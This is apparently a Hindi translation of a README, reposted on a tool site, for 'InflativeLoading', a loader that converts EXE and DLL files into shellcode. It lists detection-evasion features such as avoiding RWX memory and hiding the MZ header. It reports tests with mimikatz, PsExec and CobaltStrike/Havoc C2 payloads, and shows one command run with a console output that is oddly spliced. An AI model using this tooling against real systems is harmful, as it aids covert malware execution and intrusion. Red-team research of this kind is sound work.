✅ अप्रबंधित DLL

ReflectiveLoader से सुधार

✔️ किसी विशिष्ट निर्यात फ़ंक्शन की आवश्यकता नहीं है, जिससे यह उन PE फ़ाइलों के प्रति अधिक अनुकूल हो जाता है जिनके स्रोत कोड और संकलन तक सुविधाजनक रूप से पहुँचा नहीं जा सकता

✔️ कुछ मामलों में डिस्क और मेमोरी में PE फ़ाइल के बीच अंतर के कारण अनपेक्षित परिणामों से बचाता है

✔️ मूल फ़ाइल ऑफ़सेट और RVA के बीच रूपांतरण की आवश्यकता को समाप्त करता है

✔️ अतिरिक्त मेमोरी स्थान आवंटन से बचाता है

✔️ RWX मेमोरी क्षेत्रों से बचाता है।

✔️ RX मेमोरी क्षेत्रों के लिए भी, यह MZ विशेषता से शुरू नहीं होता, जिससे जांच की कठिनाई बढ़ जाती है।

क्षमताएँ

☑️ सामान्य मूल EXE के लिए समर्थन

☑️ अप्रबंधित DLL के लिए समर्थन

☑️ EXE/DLL के लिए समर्थन जिसमें विलंबित आयात निर्देशिका है

☑️ IAT को ठीक करना

☑️ बेस रिलोकेशन निर्देशिका को ठीक करना

☑️ क्लासिक प्रोग्राम जैसे calc, mimikatz, PsExec, आदि के साथ परीक्षण पास हुए।

☑️ क्लासिक C2 पेलोड, जैसे CobaltStrike और Havoc stageless DLL/EXE पेलोड के साथ परीक्षण पास हुए।

☑️ पैक किए गए प्रोग्राम के लिए आंशिक समर्थन।

ज्ञात समस्याएँ या सीमाएँ

⚠️ निम्नलिखित में से कुछ समस्याएँ भविष्य में ठीक की जा सकती हैं, जबकि उनमें से कुछ अपनी प्रकृति के कारण दायरे से बाहर रहती हैं।

  • प्रदान की गई कमांड लाइन हमेशा ठीक से काम नहीं करती। यह एक प्रमुख क्षेत्र है जिस पर मैं ध्यान केंद्रित करूंगा।

  • GUI प्रोग्राम के लिए अच्छी तरह से काम नहीं करता, जैसे mspaint.exe। लेकिन calc.exe अच्छी तरह से काम करता है।

  • सभी पैक किए गए प्रोग्राम के लिए काम नहीं करता। कुछ पैक किए गए प्रोग्राम अच्छी तरह से निष्पादित हो सकते हैं, यह मामला-दर-मामला है।

  • उन प्रोग्राम के लिए काम नहीं करता जिन्हें अन्य निर्भरताएँ चाहिए, जैसे कस्टम DLL।

  • केवल x64 समर्थित है, और मैं x86 प्रोग्राम के लिए समर्थन जोड़ने की योजना नहीं बनाता।

यदि आप उपरोक्त में से किसी भी समस्या या सीमा का सामना करते हैं, तो shellcode का निष्पादन क्रैश हो सकता है, रूपांतरित प्रोग्राम कमांड लाइन को ठीक से पहचान नहीं पाएगा, या कोई प्रतिक्रिया नहीं हो सकती है।

उदाहरण के लिए, PsExec.exe को PIC shellcode में रूपांतरित किया जा सकता है, हालाँकि, उपयोगकर्ता द्वारा प्रदान की गई कमांड लाइन को ठीक से पहचाना नहीं जा सकता।```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin

<...SNIP...>

Generated shellcode successfully saved in file psexec_merged.bin

[#] Shellcode located at address 0x27159360000

[!] PRESS TO EXECUTE SHELLCODED EXE...

Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation

Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.

root@kitploit:~
## परीक्षण मामले
| प्रोग्राम | प्रारूप | क्या GUI है? | आपूर्ति किए गए तर्क? | सफल निष्पादन | तर्कों के साथ उचित निष्पादन |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- | 
| सरल कस्टम C/C++ प्रोग्राम     | EXE |नहीं | नहीं  |:heavy_check_mark: | N/A |
| सरल कस्टम DLL    | DLL |नहीं | नहीं  |:heavy_check_mark: | N/A |
| Havoc और CobaltStrike EXE पेलोड     | EXE |नहीं | नहीं  |:heavy_check_mark: | N/A |
| Havoc और CobaltStrike DLL पेलोड     | DLL |नहीं | नहीं  |:heavy_check_mark: | N/A |
| calc.exe     | EXE | हाँ | नहीं |:heavy_check_mark: |N/A |
| mimikatz.exe  | EXE | नहीं | हाँ   |:heavy_check_mark: |:heavy_check_mark: |
| PsExec  | EXE | नहीं     |हाँ |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe  | EXE | हाँ     |नहीं | :no_entry_sign: |N/A|
| पैक किए गए प्रोग्राम  | EXE | नहीं     |नहीं | आंशिक|N/A|

calc.exe और mimikatz.exe के डंप किए गए संस्करण रिपॉजिटरी के `bin/` फ़ोल्डर में पाए जा सकते हैं।

## भविष्य में सुधार
:bell: निम्नलिखित सुधार भविष्य में अपेक्षित हैं।

+ .NET प्रोग्रामों के लिए एक अलग लोडर।

+ DLL निर्यात फ़ंक्शनों के लिए समर्थन जोड़ें।

+ अधिक पैक किए गए प्रोग्रामों के लिए समर्थन जोड़ें।

+ बेकार कोड में सुधार करें : )

## आभार और संदर्भ
निम्नलिखित संसाधनों ने मुझे मेरे शोध और विकास के दौरान बहुत प्रेरित किया:

<https://github.com/TheWover/donut>

<https://github.com/d35ha/PE2Shellcode>

<https://github.com/hasherezade/pe_to_shellcode>

<https://github.com/monoxgas/sRDI>

<https://github.com/stephenfewer/ReflectiveDLLInjection>

<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>

<https://maldevacademy.com/>
टूल डाउनलोड करें